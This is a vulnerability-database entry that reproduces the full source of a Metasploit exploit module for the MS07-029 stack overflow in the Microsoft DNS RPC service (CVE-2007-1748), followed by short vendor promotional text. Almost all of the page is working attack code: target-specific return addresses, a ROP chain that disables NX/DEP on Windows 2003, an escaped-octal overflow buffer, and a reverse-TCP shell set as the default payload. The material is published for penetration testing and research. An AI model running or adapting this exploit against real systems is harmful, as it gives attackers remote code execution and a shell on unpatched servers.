Lucene search
+L

MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)

🗓️ 25 Jul 2010 21:37:54Reported by hdm <[email protected]>, Unknown, bcoles <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 44 Views

MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP). Exploits buffer overflow in Microsoft DNS service RPC interface with long zone name parameter containing escaped octal strings, bypassing NX/DEP protection on Windows 2003 SP1/SP2

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::DCERPC

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the RPC interface
        of the Microsoft DNS service. The vulnerability is triggered
        when a long zone name parameter is supplied that contains
        escaped octal strings. This module is capable of bypassing NX/DEP
        protection on Windows 2003 SP1/SP2.
      },
      'Author'         =>
        [
          'hdm',     # initial module
          'Unknown', # 2 unknown contributors (2003 support)
          'bcoles'   # additional target offsets
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2007-1748'],
          ['OSVDB', '34100'],
          ['MSB', 'MS07-029']
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'PAYLOAD' => 'windows/shell/reverse_tcp'
        },
      'Payload'        =>
        {
          'Space'    => 500,

          # The payload doesn't matter, but make_nops() uses these too
          'BadChars' => "\x00",

          'StackAdjustment' => -3500,

        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic (2000 SP0-SP4, 2003 SP0-SP2)', { } ],

          # p/p/r WS2HELP.DLL
          [ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ French', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ German', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74f92ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Italian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Polish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fb2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Portuguese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Korean', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74f92ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Russian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fb2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Simplified Chinese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Spanish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Swedish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Traditional Chinese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Turkish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fc2ac4 } ],

          # Use the __except_handler3 method (and jmp esp in ATL.dll)
          [ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34, 0x77f7e7f0, 0x76a935bf] } ],
          [ 'Windows 2003 Server SP0 French', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f35a34, 0x77f6e7f0, 0x76a435bf] } ],

          # ATL.DLL (bypass DEP/NX, IB -> Image Base of ATL.dll)
          [ 'Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 } ],
          [ 'Windows 2003 Server SP1-SP2 French', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
          [ 'Windows 2003 Server SP1-SP2 Spanish', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
          [ 'Windows 2003 Server SP1-SP2 Italian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],
          [ 'Windows 2003 Server SP1-SP2 German', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],
          [ 'Windows 2003 Server SP1-SP2 Russian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x769a0000 } ],
          [ 'Windows 2003 Server SP1-SP2 Simplified Chinese', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x769c0000 } ],
        ],
      'DisclosureDate' => '2007-04-12',
      'DefaultTarget'  => 0 ))

    register_options(
      [
        Opt::RPORT(0),
        OptString.new('Locale', [ true,  "Locale for automatic target (English, French, Italian, ...)", 'English'])
      ])
  end


  def gettarget(os)

    targets.each do |target|
      if ((target['OS'] =~ /#{os}/) && (target.name =~ /#{datastore['Locale']}/))
        return target
      end
    end

    return nil
  end


  def exploit


    # Ask the endpoint mapper to locate the port for us
    dport = datastore['RPORT'].to_i

    if ((dport != 0) && (target.name =~ /Automatic/))
      print_error("Unable to use automatic targeting when RPORT is given");
      return
    end

    if (dport == 0)

      dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp')

      if (not dport)
        print_error("Could not determine the RPC port used by the Microsoft DNS Server")
        return
      end

      print_status("Discovered Microsoft DNS Server RPC service on port #{dport}")
    end


    mytarget = nil

    if (target.name =~ /Automatic/)

      # scheduler service is only available on 2k3 SP0 and 2000
      schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '1ff70682-0a51-30e8-076d-740be8cee98b', '1.0', 'ncacn_ip_tcp')

      if (not schedport)
        print_status("Detected a Windows 2003 SP1-SP2 target...")
        mytarget = gettarget('2003SP12')
      else
        # only available on 2003 SP0
        schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53', '1.0', 'ncacn_ip_tcp')

        if (not schedport)
          print_status("Detected a Windows 2000 SP0-SP4 target...")
          mytarget = gettarget('2000')
        else
          print_status("Detected a Windows 2003 SP0 target...")
          mytarget = gettarget('2003SP0')
        end
      end

      if (not mytarget)
        fail_with(Failure::NoTarget, "There is no available target for '#{datastore['LOCALE']}' locale")
      end
    else
      mytarget = target
    end



    # Connect to the high RPC port
    connect(true, { 'RPORT' => dport })
    print_status("Trying target #{mytarget.name}...")

    # Bind to the service
    handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp', [datastore['RPORT']])
    print_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    # Create our buffer with our shellcode first
    txt = Rex::Text.rand_text_alphanumeric(8192)

    if (mytarget['OS'] =~ /2000/)
      txt[0, payload.encoded.length] = payload.encoded

      off = mytarget['Off']
      txt[ off ] = [mytarget.ret].pack('V')
      txt[ off - 4, 2] = "\xeb\x06"
      txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')

    elsif (mytarget['OS'] =~ /2003SP0/)
      txt[0, payload.encoded.length] = payload.encoded

      off = mytarget['Off']
      txt[ off ] = [mytarget['Rets'][0]].pack('V')  # __except_handler3
      txt[ off - 4, 2] = "\xeb\x16"

      # addr = A + B*12 + 4 = 0x77f7e7f0  (ntdll -> 0x77f443c9)
      addr  = mytarget['Rets'][1] - 4
      addr1 = addr / 2
      addr2 = addr1 + addr % 2
      addr1 = addr1 + (addr2 % 12)
      addr2 = addr2 / 12

      txt[ off + 4, 8] = [addr1, addr2].pack('VV') # A,B

      #
      # then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here :
      #
      # 0x77f443c9 jmp off_77f7e810[edx*4]   ;  edx = 0 so jmp to 77f443d0
      # 0x77f443d0 mov eax, [ebp+arg_0]
      # 0x77f443d3 pop esi
      # 0x77f443d4 pop edi
      # 0x77f443d5 leave    ; mov esp, ebp
      # 0x77f443d6 retn     ; ret

      txt[ off + 16, 4] = [mytarget['Rets'][2]].pack('V')  # jmp esp
      txt[ off + 20, 5] = "\xe9" + [ (off+23) * -1 ].pack('V')

    elsif (mytarget['OS'] =~ /2003SP12/)
      off = mytarget['Off']
      ib  = mytarget['IB']
      txt[ off ] = [ib + 0x2566].pack('V')


      # to bypass NX we need to emulate the call to ZwSetInformationProcess
      # with generic value (to work on SP1-SP2 + patches)

      off = 445

      # first we set esi to 0xed by getting the value on the stack
      #
      # 0x76a81da7:
      # pop esi   <- esi = edh
      # retn

      txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V')
      txt[ off + 28, 4] = [0xed].pack('V')

      # now we set ecx to 0x7ffe0300, eax to 0xed
      # 0x76a81da4:
      # pop ecx    <-  ecx = 0x7ffe0300
      # mov eax, esi   <- eax == edh
      # pop esi
      # retn

      txt[ off + 32, 4] = [ib + 0x1da4].pack('V')
      txt[ off + 36, 4] = [0x7ffe0300].pack('V')

      # finally we call NtSetInformationProcess (-1, 34, 0x7ffe0270, 4)
      # 0x7FFE0270 is a pointer to 0x2 (os version info :-) to disable NX
      # 0x76a8109c:
      # call dword ptr [ecx]

      txt[ off + 44, 4] = [ib + 0x109c].pack('V')  # call dword ptr[ecx]
      txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')

      # we catch the second exception to go back to our shellcode, now that
      # NX is disabled

      off = 1013
      txt[ off, 4 ] = [ib + 0x135bf].pack('V')   # (jmp esp in atl.dll)
      txt[ off + 24, payload.encoded.length ] = payload.encoded

    end

    req = ''

    # Convert the string to escaped octal
    txt.unpack('C*').each do |c|
      req << "\\"
      req << c.to_s(8)
    end

    # Build the RPC stub data
    stubdata =
      NDR.long(rand(0xffffffff)) +
      NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") +

      NDR.long(rand(0xffffffff)) +
      NDR.string(req + "\x00") +

      NDR.long(rand(0xffffffff)) +
      NDR.string(Rex::Text.rand_text_alpha(1) + "\x00")

    print_status('Sending exploit...')

    begin
      response = dcerpc.call(1, stubdata)

      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
        print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
      end
    rescue ::Exception => e
      print_error("Error: #{e}")
    end

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Nov 2021 07:38Current
7.3High risk
Vulners AI Score7.3
CVSS 210
EPSS0.79128
44